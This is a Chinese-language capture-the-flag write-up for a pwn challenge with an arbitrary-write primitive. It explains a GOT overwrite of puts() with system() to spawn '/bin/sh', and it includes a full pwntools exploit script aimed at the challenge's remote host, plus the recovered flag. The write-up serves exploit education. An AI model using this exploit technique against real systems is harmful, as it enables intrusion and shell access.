一、静态分析
用ida打开题目进行分析,看看主函数:
主函数首先告诉了你printf()函数在libc库中的地址,然后将输入的内容读取到buf变量中。在执行完www()函数后,执行了puts()函数并且将buf作为了参数。
接下来分析www()函数干了什么
注意红框这里,第一个红框里表示将我们输入的Where值通过10进制解析为数字,并将其作为变量v1的地址。第二个红框表示我们输入的What值同样的方法解析为数字,将其作为v1地址所保存的值。通过这两步操作我们就可以修改任意地址的值。
二、利用思路
题目泄露了printf()函数的真实地址,这样我们就可以通过LibcSearcher工具搜索到对应的libc库,进而获取到system()函数的真实地址。那么我们就可以通过前面提到的修改操作将got表中puts()所指向的真实地址修改为system()的真实地址。同时注意到,主函数在执行puts()函数的时候,是以第一次输入的buf值作为参数的,因此在第一次输入的时候我们可以输入“/bin/sh”,这样当主函数执行到puts(buf)时,实际就执行了system(“/bin/sh”)。
总结来说就是:
第一步,获取题目泄露的printf()真实地址,获取puts()的GOT表地址;
第二步,通过LibcSearcher搜索相应的libc库,在动态调试的过程中,追踪到printf()函数指向的名称为“_IO_printf”;
第三步,计算出system()函数的真实地址;
第四步,构造并发送payload。payload1是主函数中buf的值,因此为“/bin/sh”,payload2是要修改的地址,因此为puts()的GOT表地址,payload3是payload2地址要修改的值,因此未system()函数真实地址;
第五步,getsshell,读取flag。
三、利用脚本
这里提供一个脚本
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
elf=ELF('./www')
# p=process('./www')
p=remote("82.157.146.43","17346")
# step 1
printf_addr=int(p.recv(44)[-14:],16)
puts_got=elf.got['puts']
# step 2
libc=LibcSearcher('_IO_printf',printf_addr)
# step 3
libc_base_addr=printf_addr-libc.dump('_IO_printf')
system_addr=libc_base_addr+libc.dump('system')
# step 4
payload1=b'/bin/sh'
p.sendline(payload1)
payload2=puts_got
p.sendafter('Where? ',str(payload2)+'\n')
payload3=system_addr
p.sendafter('What? ',str(payload3)+'\n')
p.interactive()
这个代码有点小问题,在本地打不通,但是在线环境能打通,很怪?,大概是LibcSearcher的锅。执行到step 2的时候需要手动选择一下可能的libc库,一个一个试就好,我是第4个试出来的,后面试了一下第8个也可以,版本是libc6_2.27-3ubuntu1.4_amd64或者libc6_2.27-3ubuntu1.3_amd64:
得到flag:shellmates{WrITE_Wh44AA4AT_WH3r3}: